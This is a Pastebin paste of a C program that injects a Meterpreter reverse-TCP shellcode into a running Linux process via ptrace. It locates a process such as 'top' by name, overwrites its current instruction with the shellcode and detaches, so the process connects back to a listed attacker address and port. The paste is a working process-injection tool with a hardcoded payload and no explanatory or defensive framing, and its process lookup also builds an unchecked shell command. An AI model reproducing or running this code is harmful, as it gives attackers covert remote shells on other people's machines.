Advertisement
Guest User

bck

a guest
Jul 21st, 2017
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.72 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <sys/types.h>
  7. #include <sys/ptrace.h>
  8. #include <sys/wait.h>
  9. #include <sys/user.h>
  10. #include <sys/reg.h>
  11.  
  12. #define SHELLCODE_SIZE 128
  13.  
  14. /*
  15. PAYLOAD = linux/x64/meterpreter/reverse_tcp
  16. LHOST = 192.168.43.40
  17. LPORT = 32415
  18. */
  19. unsigned char reverse[] =
  20. "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
  21. "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x56\x50\x6a\x29\x58\x99\x6a"
  22. "\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48\xb9\x02\x00\x7e\x9f"
  23. "\xc0\xa8\x2b\x28\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f"
  24. "\x05\x59\x5e\x5a\x0f\x05\xff\xe6";
  25.  
  26. int GetPID(char* PID_Name){
  27.   FILE *fp;
  28.   char pidcmd[50] = {0};
  29.   int value = -1;
  30.  
  31.   if(PID_Name != 0){
  32.     strcpy(pidcmd, "pidof ");
  33.     strcat(pidcmd, PID_Name);
  34.     strcat(pidcmd,  "> /tmp/pidof");
  35.     system(pidcmd);
  36.     fp = fopen("/tmp/pidof", "r");
  37.     fscanf(fp, "%d", &value);
  38.     fclose(fp);
  39.   }
  40.   return value;
  41. }
  42.  
  43. int inject_data (int pid, unsigned char *src, void *dst, int len)
  44. {
  45.   int i;
  46.   uint32_t *s = (uint32_t *) src;
  47.   uint32_t *d = (uint32_t *) dst;
  48.  
  49.   for (i = 0; i < len; i+=4, s++, d++)
  50.   {
  51.       ptrace (PTRACE_POKETEXT, pid, d, *s);
  52.   }
  53.   return 0;
  54. }
  55.  
  56. int main (int argc, char *argv[])
  57. {
  58.   int target = GetPID("top"); //Process name ex: top, bash, mate-panel
  59.   struct user_regs_struct regs;
  60.   int syscall;
  61.   long dst;
  62.  
  63.   ptrace (PTRACE_ATTACH, target, NULL, NULL);
  64.   wait (NULL);
  65.   ptrace (PTRACE_GETREGS, target, NULL, &regs);
  66.   inject_data (target, reverse, (void*)regs.rip, SHELLCODE_SIZE);
  67.   regs.rip += 2;
  68.   ptrace (PTRACE_SETREGS, target, NULL, &regs);
  69.   ptrace (PTRACE_DETACH, target, NULL, NULL);
  70.  
  71.   return 0;
  72.  
  73. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement